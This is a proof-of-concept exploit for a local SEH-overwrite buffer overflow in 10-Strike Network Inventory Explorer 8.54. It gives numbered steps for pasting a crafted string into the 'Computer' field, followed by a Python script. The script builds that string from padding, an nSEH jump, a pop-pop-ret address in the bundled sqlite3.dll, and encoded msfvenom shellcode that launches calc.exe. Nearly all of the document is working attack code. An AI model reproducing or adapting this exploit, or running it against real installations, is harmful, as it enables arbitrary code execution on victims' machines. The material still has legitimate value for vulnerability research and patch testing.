10-Strike Network Inventory Explorer 8.54 - 'Add' Local Buffer Overflow (SEH)

# Exploit Title: 10-Strike Network Inventory Explorer 8.54 - 'Add' Local Buffer Overflow (SEH)
# Date: 2020-03-24
# Author: Felipe Winsnes
# Vendor Homepage: https://www.10-strike.com/
# Software Link: https://www.10-strike.com/networkinventoryexplorer/network-inventory-setup.exe
# Version: 8.54
# Tested on: Windows 7

# Proof of Concept:
# 1.- Run the python script "poc.py", it will create a new file "poc.txt"
# 2.- Copy the content of the new file 'poc.txt' to clipboard
# 3.- Open the Application
# 4.- Go to 'Main' or 'Computers'
# 5.- Click upon 'Add'
# 6.- Paste clipboard on 'Computer' parameter, under the title "Computer Card"
# 7.- Click "OK"
# 8.- Profit

# Blog where the vulnerability is explained: https://whitecr0wz.github.io/posts/Strike-Network-Inventory-Explorer-Structered-Exception-Handling-Overwrite/

import struct

# msfvenom -p windows/exec CMD=calc.exe -f py -e x86/alpha_mixed 
# Payload size: 448 bytes

buf =  b""
buf += b"\x89\xe2\xda\xc3\xd9\x72\xf4\x5f\x57\x59\x49\x49\x49"
buf += b"\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43"
buf += b"\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41"
buf += b"\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42"
buf += b"\x58\x50\x38\x41\x42\x75\x4a\x49\x39\x6c\x78\x68\x4f"
buf += b"\x72\x47\x70\x63\x30\x57\x70\x63\x50\x4d\x59\x4b\x55"
buf += b"\x55\x61\x49\x50\x45\x34\x6c\x4b\x50\x50\x36\x50\x4c"
buf += b"\x4b\x53\x62\x56\x6c\x4e\x6b\x33\x62\x44\x54\x4e\x6b"
buf += b"\x42\x52\x54\x68\x74\x4f\x68\x37\x50\x4a\x56\x46\x44"
buf += b"\x71\x49\x6f\x6e\x4c\x45\x6c\x63\x51\x53\x4c\x53\x32"
buf += b"\x76\x4c\x61\x30\x5a\x61\x58\x4f\x74\x4d\x76\x61\x49"
buf += b"\x57\x59\x72\x5a\x52\x46\x32\x56\x37\x6c\x4b\x30\x52"
buf += b"\x36\x70\x6c\x4b\x73\x7a\x57\x4c\x4c\x4b\x30\x4c\x64"
buf += b"\x51\x70\x78\x7a\x43\x33\x78\x75\x51\x68\x51\x70\x51"
buf += b"\x4c\x4b\x76\x39\x55\x70\x67\x71\x38\x53\x4e\x6b\x31"
buf += b"\x59\x66\x78\x38\x63\x45\x6a\x51\x59\x6c\x4b\x70\x34"
buf += b"\x4c\x4b\x57\x71\x59\x46\x45\x61\x59\x6f\x6e\x4c\x4b"
buf += b"\x71\x58\x4f\x66\x6d\x76\x61\x5a\x67\x56\x58\x6b\x50"
buf += b"\x73\x45\x49\x66\x75\x53\x71\x6d\x4c\x38\x37\x4b\x43"
buf += b"\x4d\x67\x54\x63\x45\x4b\x54\x52\x78\x6c\x4b\x73\x68"
buf += b"\x37\x54\x56\x61\x69\x43\x73\x56\x4c\x4b\x76\x6c\x32"
buf += b"\x6b\x6e\x6b\x61\x48\x65\x4c\x55\x51\x7a\x73\x6c\x4b"
buf += b"\x54\x44\x4e\x6b\x43\x31\x6a\x70\x4b\x39\x32\x64\x35"
buf += b"\x74\x55\x74\x63\x6b\x43\x6b\x75\x31\x72\x79\x73\x6a"
buf += b"\x56\x31\x59\x6f\x4b\x50\x53\x6f\x51\x4f\x43\x6a\x4c"
buf += b"\x4b\x62\x32\x6a\x4b\x4c\x4d\x43\x6d\x63\x5a\x76\x61"
buf += b"\x6e\x6d\x6d\x55\x4e\x52\x53\x30\x77\x70\x55\x50\x76"
buf += b"\x30\x32\x48\x70\x31\x6c\x4b\x50\x6f\x6f\x77\x69\x6f"
buf += b"\x58\x55\x4d\x6b\x4a\x50\x58\x35\x4e\x42\x42\x76\x75"
buf += b"\x38\x6f\x56\x6f\x65\x4d\x6d\x6d\x4d\x59\x6f\x39\x45"
buf += b"\x77\x4c\x76\x66\x73\x4c\x76\x6a\x4d\x50\x79\x6b\x4d"
buf += b"\x30\x70\x75\x37\x75\x6f\x4b\x53\x77\x67\x63\x73\x42"
buf += b"\x72\x4f\x50\x6a\x55\x50\x56\x33\x39\x6f\x39\x45\x45"
buf += b"\x33\x30\x61\x50\x6c\x70\x63\x34\x6e\x42\x45\x51\x68"
buf += b"\x31\x75\x65\x50\x41\x41"

nseh = struct.pack("<I", 0x909006EB)
seh = struct.pack("<I", 0x61E8497A) # 0x61e8497a : pop esi # pop edi # ret  |  {PAGE_EXECUTE_READ} [sqlite3.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v3.12.2 (C:\Program Files\10-Strike Network Inventory Explorer\sqlite3.dll)

buffer = "A" * 211 + nseh + seh + "A" * 20 + buf + "\xff" * 200
f = open ("poc.txt", "w")
f.write(buffer)
f.close()